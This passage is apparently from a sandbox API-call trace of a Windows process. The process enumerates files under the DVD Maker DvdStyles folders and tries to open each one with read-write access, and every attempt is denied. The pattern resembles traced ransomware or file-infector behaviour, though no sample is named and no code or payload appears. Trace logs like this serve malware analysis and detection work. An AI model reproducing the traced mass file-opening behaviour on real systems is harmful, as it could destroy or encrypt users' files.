Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.976] GetLastError () returned 0x5 [0103.976] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0103.977] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png") returned 83 [0103.977] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.978] GetLastError () returned 0x5 [0103.978] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0103.978] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png") returned 89 [0103.978] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.980] GetLastError () returned 0x5 [0103.980] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0103.980] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png") returned 65 [0103.980] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.980] GetLastError () returned 0x5 [0103.980] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0103.980] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0103.983] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0103.983] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full") returned 48 [0103.983] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*") returned 52 [0103.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0103.987] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.987] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0103.987] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png") returned 66 [0103.987] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.989] GetLastError () returned 0x5 [0103.989] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0103.989] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0103.989] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.990] GetLastError () returned 0x5 [0103.990] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0103.990] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0103.990] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.992] GetLastError () returned 0x5 [0103.992] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0103.992] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0103.992] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.992] GetLastError () returned 0x5 [0103.992] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0103.992] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0103.992] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.994] GetLastError () returned 0x5 [0103.994] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0103.994] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0103.994] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.996] GetLastError () returned 0x5 [0103.996] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0103.996] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0103.996] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.997] GetLastError () returned 0x5 [0103.997] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0103.997] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0103.997] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.999] GetLastError () returned 0x5 [0103.999] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0103.999] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0103.999] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.001] GetLastError () returned 0x5 [0104.001] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.001] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0104.001] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.003] GetLastError () returned 0x5 [0104.003] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.003] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0104.003] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.004] GetLastError () returned 0x5 [0104.004] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0104.004] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0104.004] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.004] GetLastError () returned 0x5 [0104.004] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0 [0104.005] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0104.007] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.007] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0104.007] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.008] GetLastError () returned 0x5 [0104.008] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0104.009] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0104.009] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.009] GetLastError () returned 0x5 [0104.009] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.009] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0104.009] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.009] GetLastError () returned 0x5 [0104.009] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0104.009] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0104.009] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.010] GetLastError () returned 0x5 [0104.010] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0104.010] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle") returned 52 [0104.010] 